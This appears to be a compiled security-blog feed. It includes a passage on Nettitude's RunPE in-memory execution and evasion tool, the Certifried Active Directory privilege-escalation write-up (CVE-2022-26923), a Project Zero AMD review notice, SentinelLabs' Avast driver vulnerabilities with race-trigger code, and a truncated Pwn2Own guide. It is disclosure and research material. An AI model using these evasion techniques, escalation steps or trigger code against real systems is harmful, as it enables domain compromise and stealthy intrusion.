In a Windows process a pointer to the command line arguments is located in the Process Environment Block (PEB) and can be retrieved directly or, more commonly, using the Windows API call GetCommandLine. Similarly, the current image name is also stored in the PEB. With RunPE, the command line and image name are backed-up for when we reset during the clean-up phase and then replaced with the new values for the target PE.

Z:\Downloads\Whitepaper\Export-e0735b6d-feef-40ce-bcc9-8ce00c5523bc\Process Hiving 64777627280b48d586409f800840b2d6\Untitled 8.png

Preventing Process Exit

Another issue with running vanilla PEs in this way is that when they finish executing the PE inevitably tries to exit the process, such as by calling TerminateProcess.

Similarly, as the RunPE process is .NET, the CLR also tries to shut down once process termination is initiated, so even if TerminateProcess is prevented CorExitProcess will cause any .NET implant to exit.

To circumvent this a number of these API calls are patched to instead jmp to ExitThread. As the entry point of the target PE is to be run in a new thread this means that once it has finished it will gracefully exit the thread only, leaving the process and CLR instead.

These API calls are patched with bytes that use Return Oriented Programming (ROP) to instead call ExitThread, passing an exit code of 0.

Z:\Downloads\Whitepaper\Export-e0735b6d-feef-40ce-bcc9-8ce00c5523bc\Process Hiving 64777627280b48d586409f800840b2d6\Untitled 12.png

An example of this patch if the ExitThread function was located at 0x1337133713371337 is below:

0: 48 c7 c1 00 00 00 00 mov rcx, 0x0 // Move 0 into rcx for exit code argument
7: 48 b8 37 13 37 13 37 movabs rax, 0x1337133713371337 // Move address of ExitThread into rax
e: 13 37 13
11: 50 push rax // Push rax onto stack and ret, so this value with be the 'return address'
12: c3 ret

We can see this in x64dbg while RunPE is running, viewing the NtTerminateProcess function and noting it has been patched to exit the thread instead.

Fixing APIs

Several other API calls also required patching with new values in order for PEs to work. One example is GetModuleHandle which, if called with a NULL parameter, returns a handle to the base of the main module. When a PE calls this function it is expecting to receive its base address, however in this scenario the API call will in fact return the host process’ binary’s base address, which could cause the whole process to crash, depending on how that address is then used.

However, GetModuleHandle could also be called with a non-NULL value, in which case the base address of a different module will be returned.

GetModuleHandle is therefore hooked and execution jumps to a newly allocated area of memory that performs some simple logic; returning the base address of the mapped PE if the argument is NULL and rerouting back to the original GetModuleHandle function if not. As the first few bytes of GetModuleHandle get overwritten with a jump to our hook these instructions must be executed in the hook before jumping back to the GetModuleHandle function, return execution to after the hook jump.

As with the previous API patches, these bytes must be dynamically built-in order to provide the runtime addresses of the hook location, the GetModuleHandle function and the base address of the target PE.

Z:\Downloads\Whitepaper\Export-e0735b6d-feef-40ce-bcc9-8ce00c5523bc\Process Hiving 64777627280b48d586409f800840b2d6\Untitled 15.png

As an additional change the PEB is also updated, replacing the base address with that of the target PE so that if any programs retrieve this address from the PEB directly then they get the expected value.

At this point, the target PE should be in a position to be able to run from within the host process by calling the entry point of the PE directly. However, as the intended use case is to be able to use RunPE to execute PEs in memory from with an implant, it is a requirement to be able to capture output from the program.

Capturing Output

Output is captured from the target process by replacing the handles to STDOUT and STDERR with handles to anonymous pipes using SetStdHandle.

Z:\Downloads\Whitepaper\Export-e0735b6d-feef-40ce-bcc9-8ce00c5523bc\Process Hiving 64777627280b48d586409f800840b2d6\Untitled 18.png

Just before the target PE entry point is invoked on a new thread, an additional thread is first created that will read from these pipes until they are closed. In this way, the output is captured and can be returned from RunPE. The pipes are closed by RunPE after the target PE has finished executing, ensuring that all output is captured.

Clean Up

As Process Hiving includes running multiple processes from within one, long-running host process it is important that any execution of these ‘sub’ processes includes full and proper clean up. This serves two purposes:

  • To restore any changed state and functionality in order to ensure that the host process can continue to operate normally.
  • To remove any artefacts from memory that may cause an alert or artifact if detected through techniques such as in-memory scanning or aid an investigator in the event of a manual triage.

To achieve this, any code change made by RunPE is stored during execution and restored once execution is complete. This includes API hooks, changed values in memory, file descriptors, loaded modules and of course the mapped PE itself. In the case of any particularly sensitive values, such as the command line arguments and mapped PE, the memory region is first zeroed out before it is freed.

Z:\Downloads\Whitepaper\Export-e0735b6d-feef-40ce-bcc9-8ce00c5523bc\Process Hiving 64777627280b48d586409f800840b2d6\Untitled 20.png

Demonstration

An example of RunPE running unchanged and up-to-date Mimikatz is below, alongside Procmon process activity events for the process.

Z:\Downloads\Whitepaper\Export-e0735b6d-feef-40ce-bcc9-8ce00c5523bc\Process Hiving 64777627280b48d586409f800840b2d6\Untitled 21.png

Note that there are no sub-processes created, and Mimikatz runs successfully with the provided arguments.

Running a debug build provides more output and allows us to verify that the artefacts are being removed from memory and hooks removed, etc. We can see below that after the clean-up has occurred the ‘new’ DLLs loaded for Mimikatz have either already been cleaned up by Mimikatz itself (the error code 126) or are freed by RunPE and are now no longer visible in the Modules tab of Process Hacker.

Z:\Downloads\Whitepaper\Export-e0735b6d-feef-40ce-bcc9-8ce00c5523bc\Process Hiving 64777627280b48d586409f800840b2d6\Untitled 22.png

Similarly, the original code on the hooks such as NtTerminateProcess has been restored, which we can verify using a debugger such as x64dbg as below.

Z:\Downloads\Whitepaper\Export-e0735b6d-feef-40ce-bcc9-8ce00c5523bc\Process Hiving 64777627280b48d586409f800840b2d6\Untitled 23.png

As during Red Team operations Mimikatz.exe is unlikely to exist in the target environment, RunPE also supports loading of binaries from base64 blobs so that they can be passed with arguments down C2 channels. Long, triple dash switches are used in order to avoid conflicts with any arguments to the target PE.

Z:\Downloads\Whitepaper\Export-e0735b6d-feef-40ce-bcc9-8ce00c5523bc\Process Hiving 64777627280b48d586409f800840b2d6\Untitled 24.png

An example of this from a PoshC2 implant below demonstrates the original use case. The implant host process of netsh.exe loads and invokes the RunPE .NET assembly which in turn loads and runs net.exe in the host process with arguments. In this case net.exe is passed as a base64 blob down C2.

Z:\Downloads\Whitepaper\Export-e0735b6d-feef-40ce-bcc9-8ce00c5523bc\Process Hiving 64777627280b48d586409f800840b2d6\Untitled 25.png

Known Issues & Further Work

There are a number of known issues and caveats with this work in its current state which are detailed below.

  • RunPE only supports x64 bit native Windows PE files.
  • During testing any modern PE compiled by the testers has worked without issues, however issues remain with a number of older Windows binaries such as ipconfig.exe and icacls.exe. Further research is presently ongoing into what specific characteristics of these files cause issues.
  • If the target PE spawns sub-processes itself then those are not subject to Process Hiving and will be performed in the normal fashion. It is up to the operator to understand what the behaviour of the target PE is any other considerations that should be made.
  • RunPE presently calls the entry point of the target PE on a new thread and waits for that thread to finish, with a timeout. If the timeout is reached or if the target PE manipulates that thread, this is undefined behaviour.
  • PEs compiled without ASLR support do not work currently, such as by mingw.

Additionally, further work can be made on RunPE to improve the stealth of the Process Hiving technique:

  • Dependencies of the target PE can be mapped into memory using the same PE loader as the target PE itself and not using the standard Windows Loader. This would bypass detections on API calls such as LoadLibrary and GetProcAddress as well as any hooks placed in those modules by defensive software.
  • For any native API calls that remain, the use of syscalls directly can be explored to achieve the same ends for the same reasons as described above.

Detections

For Blue Team members, the best way to prevent this technique is to prevent the attacker from reaching this stage in the kill chain. Delivery and initial execution for example likely provide more options for detecting an attack than process self-manipulation. However, a number of the actions taken by RunPE can be explored as detections.

  • SetStdHandle is called six times per RunPE call, once to set STDOUT, STDERR and STDIN to handles to anonymous pipes and then again to reset them. A cursory monitor of a number and range of processes on the author’s own machine did not show any invocations of this API call as part of standard use, so this activity could potentially be used to detect RunPE.
  • A number of APIs are hooked or modified and then restored as part of every RunPE run such as GetCommandLine, NtTerminateProcess, CorExitProcess, RtlExitUserProcess, GetModuleHandle and TerminateProcess. Continued modification of these Windows API calls in memory is not likely to be common behaviour and a potential avenue to detection.
  • Similarly, the PEB is also continually modified as the command line string and image name are updated with every invocation of RunPE.
  • While the source code can be obfuscated, any attempt to load the default RunPE assembly into a .NET process provides a strong opportunity for detection.

Conclusion

At its core, Process Hiving is a fairly simple process. A PE is manually mapped into memory using existing techniques and a number of changes are made to API calls and the environment so that when the entry point of that PE is invoked it runs in the expected way.

We hope that this technique and the tool that implements it will allow Red Teams to be able to quickly and easily run native binaries from their implant processes without having to deal with many of the pain points that plague similar techniques that already exist.

The source code for RunPE is available at https://github.com/nettitude/RunPE and any further work on the tool can be found there. Contributions and collaboration are also welcome.

Process Hiving Cover 2

Download our whitepaper and tool

This blog is a condensed version of a whitepaper we’ve released, called “Process Hiving”.  It comes with a new tool too, “RunPE”.  You can download these at the links below.

Whitepaper

Our process hiving whitepaper can be downloaded here.

Tool

RunPE, our accompanying tool, can be downloaded from GitHub.

The post Introducing Process Hiving & RunPE appeared first on Nettitude Labs.

Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923)

10 May 2022 at 19:47

In this blog post, we’ll dive into a recently patched Active Directory Domain Privilege Escalation vulnerability that I reported through ZDI to Microsoft.

In essence, the vulnerability allowed a low-privileged user to escalate privileges to domain administrator in a default Active Directory environment with the Active Directory Certificate Services (AD CS) server role installed. At Institute For Cyber Risk, we see AD CS environments on almost every engagement. It’s rare that we see large and medium-sized Active Directory environments without AD CS installed. The vulnerability was patched as part of the May 2022 Security Updates from Microsoft.

Background

In Summer 2021, Will Schroeder and Lee Christensen published their excellent whitepaper Certified Pre-Owned: Abusing Active Directory Certificate Services which took a deep dive into the security of Active Directory Certificate Services (AD CS). The whitepaper thoroughly explained various tricks for persistence, theft, and privilege escalation — but also defensive guidance and general documentation on AD CS.

When I initially read the whitepaper from Will Schroeder and Lee Christensen, I only began researching into abusing misconfigurations. It was not until December 2021 when I got inspired by Charlie Clark’s (@exploitph) blog post on CVE-2021–42287 and CVE-2021–42278 that I started to look into actual vulnerabilities related to AD CS.

Introduction to Active Directory Certificate Services

If you already feel comfortable with the basics of Active Directory Certificate Services, you can skip this section. On the other hand, if you’re still feeling a bit perplexed about public key infrastructure (PKI) and certificates after reading this section, don’t worry. For this vulnerability, you can think of a certificate as merely a prove of identification, similar to a Kerberos ticket.

If you haven’t already, I highly recommend reading the shortened version of “Certified Pre-Owned” before continuing. I’ll try to cover some details throughout this post as well, but Will Schroeder and Lee Christensen has already done a great job at explaining the essentials, so here’s a snippet from their blog post that perfectly summarizes AD CS.

AD CS is a server role that functions as Microsoft’s public key infrastructure PKI implementation. As expected, it integrates tightly with Active Directory and enables the issuing of certificates, which are X.509-formatted digitally signed electronic documents that can be used for encryption, message signing, and/or authentication.
The information included in a certificate binds an identity (the subject) to a public/private key pair. An application can then use the key pair in operations as proof of the identity of the user. Certificate Authorities (CAs) are responsible for issuing certificates.
At a high level, clients generate a public-private key pair, and the public key is placed in a certificate signing request (CSR) message along with other details such as the subject of the certificate and the certificate template name. Clients then send the CSR to the Enterprise CA server. The CA server then checks if the client is allowed to request certificates. If so, it determines if it will issue a certificate by looking up the certificate template AD object […] specified in the CSR. The CA will check if the certificate template AD object’s permissions allow the authenticating account to obtain a certificate. If so, the CA generates a certificate using the “blueprint” settings defined by the certificate template (e.g., EKUs, cryptography settings, issuance requirements, etc.) and using the other information supplied in the CSR if allowed by the certificate’s template settings. The CA signs the certificate using its private key and then returns it to the client.
That’s a lot of text. So here’s a graphic:
https://posts.specterops.io/certified-pre-owned-d95910965cd2

In essence, users can request a certificate based on a predefined certificate template. These templates specifies the settings for the final certificate, e.g. whether it can be used for client authentication, what properties must be defined, who is allowed to enroll, and so on. While AD CS can be used for many different purposes, we will only focus on the client authentication aspect of AD CS.

So, let’s just make a quick example on how certificates can be used for authentication in Active Directory. We’ll be using Certipy to request and authenticate with the certificate. I have created the domain CORP.LOCAL with AD CS installed. I have also created a default, low-privileged user named JOHN. In the example below, we request a certificate from the CA CORP-DC-CA based on the template User. We then use the issued certificate john.pfx for authentication against the KDC. When authenticating with a certificate, Certipy will try to request a Kerberos TGT and retrieve the NT hash of the account.

Requesting and authenticating with a certificate

Vulnerability

Discovery

By default, domain users can enroll in the User certificate template, and domain computers can enroll in the Machine certificate template. Both certificate templates allow for client authentication. This means that the issued certificate can be used for authentication against the KDC via the PKINIT Kerberos extension.

So why does AD CS have different templates for users and computers, one might ask? In short, user accounts have a User Principal Name (UPN), whereas computer accounts do not. When we request a certificate based on the User template, the UPN of the user account will be embedded in to the certificate for identification. When we use the certificate for authentication, the KDC tries to map the UPN from the certificate to a user. If we look at the msPKI-Certificate-Name-Flag property of the User template, we can also see that SubjectAltRequireUpn (CT_FLAG_SUBJECT_ALT_REQUIRE_UPN) is specified.

“User” certificate template

As per MS-ADTS (3.1.1.5.1.3 Uniqueness Constraints), the UPN must be unique, which means we cannot have two users with the same UPN. For instance, if we try to change the UPN of Jane to [email protected], we will get a constraint violation, since the UPN [email protected] is already used by John.

Constraint violation when trying to change UPN of “Jane” to “[email protected]

As mentioned previously, computer accounts do not have a UPN. So what do computer accounts then use for authentication with a certificate? If we look at the Machine certificate template, we see that SubjectAltRequireDns (CT_FLAG_SUBJECT_ALT_REQUIRE_DNS) is specified instead.

“Machine” certificate template

So let’s try to create a new machine account, request a certificate, and then authenticate with the certificate.

Testing the “Machine” certificate template

As we can see above, the certificate is issued with the DNS host name JOHNPC.corp.local, and if we look at the computer account JOHNPC$, we can notice that this value is defined in the dNSHostName property.

If we look at the permissions of the JOHNPC object, we can see that John (the creator of the machine account) has the “Validated write to DNS host name” permission.

The “Validated write to DNS host name” permission is explained here, and described as “Validated write permission to enable setting of a DNS host name attribute that is compliant with the computer name and domain name.” So what does “compliant with the computer name and domain name” mean?

If we (as John) try to update the DNS host name property of JOHNPC to TEST.corp.local, we encounter no issues or constraint violations, and the SAM Account Name of JOHNPC is still JOHNPC$.

So let’s try to request a certificate now.

We notice that the certificate is now issued with the DNS host name TEST.corp.local. So now we are fairly certain that the DNS host name in the issued certificate is derived from the dNSHostName property, and John (as the creator of the machine account) has the “Validated write to DNS host name” permission.

Vulnerability

If we read the MS-ADTS (3.1.1.5.1.3 Uniqueness Constraints) documentation, nowhere does it mention that the dNSHostName property of a computer account must be unique.

If we look at the domain controller’s (DC$) dNSHostName property, we find that the value is DC.CORP.LOCAL.

So without further ado, let’s try to change the dNSHostName property of JOHNPC to DC.CORP.LOCAL.

This time, we get an error message saying “An operations error occurred”. This is different than when we tried to change the UPN to another user’s UPN, where we got a constraint violation. So what really happened?

Well, if we looked carefully when we changed the dNSHostName property value of JOHNPC from JOHNPC.corp.local to TEST.corp.local, we might have noticed that the servicePrincipalName property value of JOHNPC was updated to reflect the new dNSHostName value.

And according to MS-ADTS (3.1.1.5.1.3 Uniqueness Constraints), the servicePrincipalName property is checked for uniqueness. So when we tried to update the dNSHostName property of JOHNPC to DC.corp.local, the domain controller tried to update the servicePrincipalName property, which would be updated to include RestrictedKrbHost/DC.corp.local and HOST/DC.corp.local, which would then conflict with the domain controller’s servicePrincipalName property.

So by updating the dNSHostName property of JOHNPC, we indirectly caused a constraint violation when the domain controller also tried to update the servicePrincipalName of JOHNPC.

If we take a look at the permissions of JOHNPC, we can also see that John (as the creator of the machine account) has the “Validated write to service principal name” permission.

The “Validated write to service principal name” permission is explained here, and described as “Validated write permission to enable setting of the SPN attribute which is compliant to the DNS host name of the computer.” So if we want to update the servicePrincipalName of JOHNPC, the updated values must also be compliant with the dNSHostName property.

Again, what does “compliant” mean here? We notice that only two values are updated and checked when we update the dNSHostName, namely RestrictedKrbHost/TEST.corp.local and HOST/TEST.corp.local, which contains the dNSHostName property value. The other two values RestrictedKrbHost/JOHNPC and HOST/JOHNPC contains the sAMAccountName property value (without the trailing $).

So only the servicePrincipalName property values that contain the dNSHostName value must be compliant with dNSHostName property. But can we then just delete the servicePrincipalName values that contain the dNSHostName?

Yes we can. So if we now try to update the dNSHostName property value of JOHNPC to DC.corp.local, the domain controller will not have to update the servicePrincipalName, since none of the values contain the dNSHostName property value.

Let’s try to update the dNSHostName property value of JOHNPC to DC.corp.local.

Success! We can see that the dNSHostName property was updated to DC.corp.local, and the servicePrincipalName was not affected by the change, which means we didn’t cause any constraint violations.

So now JOHNPC has the same dNSHostName as the domain controller DC$.

Now, let’s try to request a certificate for JOHNPC using the Machine template, which should embed the dNSHostName property as identification.

Another success! We got a certificate with the DNS host name DC.corp.local. Let’s try to authenticate using the certificate.

Authentication was also successful, and Certipy retrieved the NT hash for dc$. As a Proof-of-Concept, we can use the NT hash to perform a DCSync attack to dump the hashes of all the users.

You might have wondered, why we didn’t have to change the DNS host name of JOHNPC to something else before authenticating with the certificate. How did the KDC know what account to map the certificate to?

PKINIT & Certificate Mapping

If you don’t care about the technical details on how certificates are mapped to accounts during authentication, you can skip this section.

Public Key Cryptography for Initial Authentication (PKINIT) is an extension for the Kerberos protocol. The PKINIT extension enables the use of public key cryptography in the initial authentication exchange of the Kerberos protocol. In other words, PKINIT is the Kerberos extension that allows the use of certificates for authentication. In order to use a certificate for Kerberos authentication, the certificate must be configured with the “Client Authentication” Extended Key Usage (EKU), and some sort of identification of the account. The Windows implementation of the PKINIT protocol extension for Kerberos is described in MS-PKCA. The documentation specifies, among other things, how the KDC maps a certificate to an account during authentication. The certificate mapping is explained in MS-PKCA 3.1.5.2.1.

First, the account is looked up based on the principal name specified in the AS-REQ, e.g. [email protected]. Then, depending on the userAccountControl property of the account, the KDC validates the certificate mapping based on either the Subject Alternative Name (SAN) DNSName or UPNName in the certificate. If the WORKSTATION_TRUST_ACCOUNT (domain computer) or SERVER_TRUST_ACCOUNT (domain controller) bit is set, the KDC validates the mapping from the DNSName. Otherwise, the KDC validates the mapping from the UPNName. For this blog post, we’re only interested in the DNSName mapping. The mapping of the DNSName field is described in MS-PKCA 3.1.5.2.1.1.

The documentation states that the KDC must confirm that the sAMAccountName of the account looked up matches the computer name in the DNSName field of the certificate terminated with $ and that the DNS domain name in the DNSName field of the certificate matches the DNS domain name of the realm. As an example, suppose we have the computer account JOHNPC$ in the domain corp.local. For a valid mapping, the DNSName of the certificate must therefore be JOHNPC.corp.local, i.e. <computername>.<domain>, where <computername> is the sAMAccountName without the trailing $.

So during PKINIT Kerberos authentication, we supply a principal name (e.g. [email protected]) and a certificate with a DNSName set to johnpc.corp.local. The KDC then looks up the account from the principal name. Since johnpc$ is a computer account, the KDC then splits the DNSName field into a computer name and realm part. The KDC then validates that the computer name part matches the sAMAccountName terminated with $ and that the realm part matches the domain. If both parts match, the validation is a success, and the mapping is thus valid. It is worth noting that the dNSHostName property of the account is not used for the certificate mapping. The dNSHostName property is only used when the certificate is requested.

Patch

UPDATED MAY 11

The vulnerability was patched as part of the May 2022 Security Updates from Microsoft by introducing a new Object ID (OID) in new certificates to further fingerprint the user. This is done by embedding the user’s objectSid (SID) within the new szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2) OID. Certificate Templates with the new CT_FLAG_NO_SECURITY_EXTENSION (0x80000) flag set in the msPKI-Enrollment-Flag attribute will not embed the new szOID_NTDS_CA_SECURITY_EXT OID, and therefore, these templates are still vulnerable to this attack. It is unlikely that this flag is set, but you should be aware of the implications of turning this flag on. Furthermore, the “Validated write to DNS host name” permission now only allows setting a dNSHostName attribute that matches the SAM Account Name of the account. However, with a generic write permission over the computer account, it’s still possible to create a duplicate dNSHostName value.

An attempt to exploit the vulnerability against a patched domain controller will return KDC_ERR_CERTIFICATE_MISMATCH during Kerberos authentication, if the certificate has the szOID_NTDS_CA_SECURITY_EXT OID. I also tried to perform the authentication using Schannel against LDAPS to check whether the vulnerability was only patched in the Kerberos implementation. Fortunately, it seems that this method can’t bypass the security update. There might be some other interesting cases, since the dNSHostName property can still be duplicated and embedded in the certificate. To check if a CA is vulnerable, we can simply request a certificate and check whether the user’s SID is embedded within the certificate. It is worth noting that both the KDC and CA server must be patched in order to fully mitigate the vulnerability.

This patch also brings an end to the ESC6 attack described in Will Schroeder and Lee Christensen’s whitepaper; but the ESC1 attack will still work, since the new OID isn’t embedded in certificates based on certificate templates with the ENROLLEE_SUPPLIES_SUBJECT flag specified.

Certipy

Along with release of this blog post, Certipy has received some new updates that includes functionality to easily create a new machine account with the DNS host name dc.corp.local and then request a certificate.

Mitigations

A patch has officially been released by Microsoft. If you’re unable to install the patch, there are a few other measures you can take to mitigate the vulnerability. First of all, you can harden your AD CS environment by restricting certificate enrollment. While not directly a mitigation, you can also change the MS-DS-Machine-Account-Quota attribute to 0, which is the value that determines the number of computer accounts that a user is allowed to create in a domain. By default, this value is set to 10. This does not mitigate the vulnerability, since an attacker might compromise a machine account by compromising a workstation, for instance with KrbRelay.

Disclosure Timeline

  • Dec 14, 2021: Vulnerability reported to Zero Day Initiative
  • Dec 17, 2021: Case assigned
  • Dec 31, 2021: Case investigated
  • Jan 11, 2022: Case contracted
  • Jan 20, 2022: Case reviewed
  • Jan 21, 2022: Vendor disclosure, tracked as ZDI-CAN-16168
  • May 10, 2022: Patch released by Microsoft

Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923) was originally published in IFCR on Medium, where people are continuing the conversation by highlighting and responding to this story.

Release of Technical Report into the AMD Security Processor

By: Anonymous
10 May 2022 at 19:00

Posted by James Forshaw, Google Project Zero

Today, members of Project Zero and the Google Cloud security team are releasing a technical report on a security review of AMD Secure Processor (ASP). The ASP is an isolated ARM processor in AMD EPYC CPUs that adds a root of trust and controls secure system initialization. As it's a generic processor AMD can add additional security features to the firmware, but like with all complex systems it's possible these features might have security issues which could compromise the security of everything under the ASP's management.

The security review undertaken was on the implementation of the ASP on the 3rd Gen AMD EPYC CPUs (codenamed "Milan"). One feature of the ASP of interest to Google is Secure Encrypted Virtualization (SEV). SEV adds encryption to the memory used by virtual machines running on the CPU. This feature is of importance to Confidential Computing as it provides protection of customer cloud data in use, not just at rest or when sending data across a network.

A particular emphasis of the review was on the Secure Nested Paging (SNP) extension to SEV added to "Milan". SNP aims to further improve the security of confidential computing by adding integrity protection and mitigations for numerous side-channel attacks. The review was undertaken with full cooperation with AMD. The team was granted access to source code for the ASP, and production samples to test hardware attacks.

The review discovered 19 issues which have been fixed by AMD in public security bulletins. These issues ranged from incorrect use of cryptography to memory corruption in the context of the ASP firmware. The report describes some of the more interesting issues that were uncovered during the review as well as providing a background on the ASP and the process the team took to find security issues. You can read more about the review on the Google Cloud security blog and the final report.

Vulnerabilities in Avast And AVG Put Millions At Risk

5 May 2022 at 11:00

Executive Summary

  • SentinelLabs has discovered two high severity flaws in Avast and AVG (acquired by Avast in 2016) that went undiscovered for years affecting dozens of millions of users.
  • These vulnerabilities allow attackers to escalate privileges enabling them to disable security products, overwrite system components, corrupt the operating system, or perform malicious operations unimpeded.
  • SentinelLabs’ findings were proactively reported to Avast during December 2021 and the vulnerabilities are tracked as CVE-2022-26522 and CVE-2022-26523.
  • Avast has silently released security updates to address these vulnerabilities.
  • At this time, SentinelLabs has not discovered evidence of in-the-wild abuse.

Introduction

Avast’s “Anti Rootkit” driver (also used by AVG) has been found to be vulnerable to two high severity attacks that could potentially lead to privilege escalation by running code in the kernel from a non-administrator user. Avast and AVG are widely deployed products, and these flaws have potentially left many users worldwide vulnerable to cyber attacks.

Given that these products run as privileged services on Windows devices, such bugs in the very software that is intended to protect users from harm present both an opportunity to attackers and a grave threat to users.

Security products such as these run at the highest level of privileges and are consequently highly attractive to attackers, who often use such vulnerabilities to carry out sophisticated attacks. Vulnerabilities such as this and others discovered by SentinelLabs (1, 2, 3) present a risk to organizations and users deploying the affected software.

As we reported recently, threat actors will exploit such flaws given the opportunity, and it is vital that affected users take appropriate mitigation actions. According to Avast, the vulnerable feature was introduced in Avast 12.1. Given the longevity of this flaw, we estimate that millions of users were likely exposed.

Security products ensure device security and are supposed to prevent such attacks from happening, but what if the security product itself introduces a vulnerability? Who’s protecting the protectors?

CVE-2022-26522

The vulnerable routine resides in a socket connection handler in the kernel driver aswArPot.sys. Since the two reported vulnerabilities are very similar, we will primarily focus on the details of CVE-2022-26522.

CVE-2022-26522 refers to a vulnerability that resides in aswArPot+0xc4a3.

As can be seen in the image above, the function first attaches the current thread to the target process, and then uses nt!PsGetProcessPeb to obtain a pointer to the current process PEB (red arrow). It then fetches (first time) PPEB->ProcessParameters->CommandLine.Length to allocate a new buffer (yellow arrow). It then copies the user supplied buffer at PPEB->ProcessParameters->CommandLine.Buffer with the size of PPEB->ProcessParameters->CommandLine.Length (orange arrow), which is the first fetch.

During this window of opportunity, an attacker could race the kernel thread and modify the Length variable.

Looper thread:

  PTEB tebPtr = reinterpret_cast(__readgsqword(reinterpret_cast(&static_cast<NT_TIB*>(nullptr)->Self)));
    PPEB pebPtr = tebPtr->ProcessEnvironmentBlock;
 
    pebPtr->ProcessParameters->CommandLine.Length = 2;
   
    while (1) {
        pebPtr->ProcessParameters->CommandLine.Length ^= 20000;
    }

As can be seen from the code snippet above, the code obtains a pointer to the PEB structure and then flips the Length field in the process command line structure.

The vulnerability can be triggered inside the driver by initiating a socket connection as shown by the following code.

   printf("\nInitialising Winsock...");
    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        printf("Failed. Error Code : %d", WSAGetLastError());
        return 1;
    }
 
    printf("Initialised.\n");
    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
        printf("Could not create socket : %d", WSAGetLastError());
    }
    printf("Socket created.\n");
 
 
    server.sin_addr.s_addr = inet_addr(IP_ADDRESS);
    server.sin_family = AF_INET;
    server.sin_port = htons(80);
 
    if (connect(s, (struct sockaddr*)&server, sizeof(server)) < 0) {
        puts("connect error");
        return 1;
    }
 
    puts("Connected");
 
    message = (char *)"GET / HTTP/1.1\r\n\r\n";
    if (send(s, message, strlen(message), 0) < 0) {
        puts("Send failed");
        return 1;
    }
    puts("Data Sent!\n");

So the whole flow looks like this:

Once the vulnerability is triggered, the user sees the following alert from the OS.

CVE-2022-26523

The second vulnerable function is at aswArPot+0xbb94 and is very similar to the first vulnerability. This function double fetches the Length field from a user controlled pointer, too.

This vulnerable code is a part of several handlers in the driver and, therefore, can be triggered multiple ways such as via image load callback.

Both of these vulnerabilities were fixed in version 22.1.

Impact

Due to the nature of these vulnerabilities, they can be triggered from sandboxes and might be exploitable in contexts other than just local privilege escalation. For example, the vulnerabilities could be exploited as part of a second stage browser attack or to perform a sandbox escape, among other possibilities.

As we have noted with similar flaws in other products recently (1, 2, 3), such vulnerabilities have the potential to allow complete take over of a device, even without privileges, due to the ability to execute code in kernel mode. Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.

Mitigation

The majority of Avast and AVG users will receive the patch (version 22.1) automatically; however, those using air gapped or on premise installations are advised to apply the patch as soon as possible.

Conclusion

These high severity vulnerabilities, affect millions of users worldwide. As with another vulnerability SentinelLabs disclosed that remained hidden for 12 years, the impact this could have on users and enterprises that fail to patch is far reaching and significant.

While we haven’t seen any indicators that these vulnerabilities have been exploited in the wild up till now, with dozens of millions of users affected, it is possible that attackers will seek out those that do not take the appropriate action. Our reason for publishing this research is to not only help our customers but also the community to understand the risk and to take action.

As part of the commitment of SentinelLabs to advancing industry security, we actively invest in vulnerability research, including advanced threat modeling and vulnerability testing of various platforms and technologies.

We would like to thank Avast for their approach to our disclosure and for quickly remediating the vulnerabilities.

Disclosure Timeline

  • 20 December, 2021 – Initial disclosure.
  • 04 January, 2022 – Avast acknowledges the report.
  • 11 February, 2022 – Avast notifies us that the vulnerabilities are fixed.

What to Expect when Exploiting: A Guide to Pwn2Own Participation

So you’ve heard of Pwn2Own and think you are up to the challenge of competing in the world’s most prestigious hacking competition. Great! We would love to have you! However, there are a few things you should know before we get started. With Pwn2Own Vancouver just around the corner, here are 10 things you need to know before participating in Pwn2Own.

1.     You need to register before the contest.

We try to make this as apparent as possible in the rules, but we still have people walk into the room on the first day of the contest hoping to participate. There are a lot of logistics around Pwn2Own, so we need everyone to complete their registration before the contest starts. We can’t support anyone who wants to join on the first day of the competition.

2.     You need to answer the vetting email.

Again, the logistics of running the Pwn2Own competition can be daunting. One way we prepare is by vetting all entries before registration closes. We need to understand the nature of your exploit to ensure it fits within the rules and to ensure we have everything we need on hand to run the attempt. For example, we need to know how you plan on demonstrating if the exploit is successful. If you answer, “Our exploit will provide a root shell when it has succeeded” – we know you have a solid plan and that it is within the rules. If you tell us you need to start as an admin user and require four reboots, your entry is unlikely to qualify. We’ll also ask for things like other user interactions or the need for a Man-in-the-Middle (MitM). These could disqualify the entry – or it could be fine. It depends on the target and details, which is why we want to know before the competition. It’s not fair to any of the contestants to have them think their exploit is a winner just to be disqualified during the contest.

3.     What should we call you?

We know people enter Pwn2Own to win cash and prizes, but they want recognition, too. We’re more than happy to include your Twitter handle, your company name, or just about anything else. Just let us know. We try to pre-stage a lot of our communications, so an omission or misspelling could take a bit to get fixed, and we want to give contestants the attention they deserve. You’d be surprised how many people wait until during or after the event to clarify how they wish to be mentioned.

4.     Will you be participating locally or remotely?

This is a newer question but opening up the contest to remote participation has allowed many to participate that otherwise would not. However, remote contestants have a few extra hurdles the on-site participants do not. For remote participants, all artifacts must be submitted to the ZDI prior to registration closing. This includes things like the white paper, the exploit, and any further details needed for the entry. Contestants competing in person have until the contest begins to have these deliverables ready.

5.     Are you aware a white paper is required for each entry?

This is one aspect that many don’t realize. Each entry in Pwn2Own needs an accompanying white paper describing the vulnerabilities used during the attempt. These white papers are critical in the judging of the competition, especially if exploits from different contestants seem similar. For example, if two groups both use a use-after-free bug against a target, is it the same bug? Maybe. Maybe not. A clearly written white paper will help us understand your research and identify whether it is unique or a bug collision. It also helps the vendor pinpoint the exact place to look at when they start working on the fix.

6.     Ask questions before the competition.

There can be a lot of nuances in exploiting targets at Pwn2Own. How will we judge certain scenarios? How will the targets be configured? Does this type of exploit qualify for this bonus? Is the target in this configuration or that configuration? Is this software completely in the default configuration, or is this commonly applied setting used? There are a lot of very reasonable questions to ask before the contest, and we try to answer every one of them the best we can. If you are thinking about participating but have a specific configuration or rule-related questions, please e-mail us. Questions asked over Twitter or other means may not be answered in a timely manner. It might seem archaic to some, but e-mail makes it easier to track inquiries and ensure they get responses.

7.     Be prepared for things to go wrong.

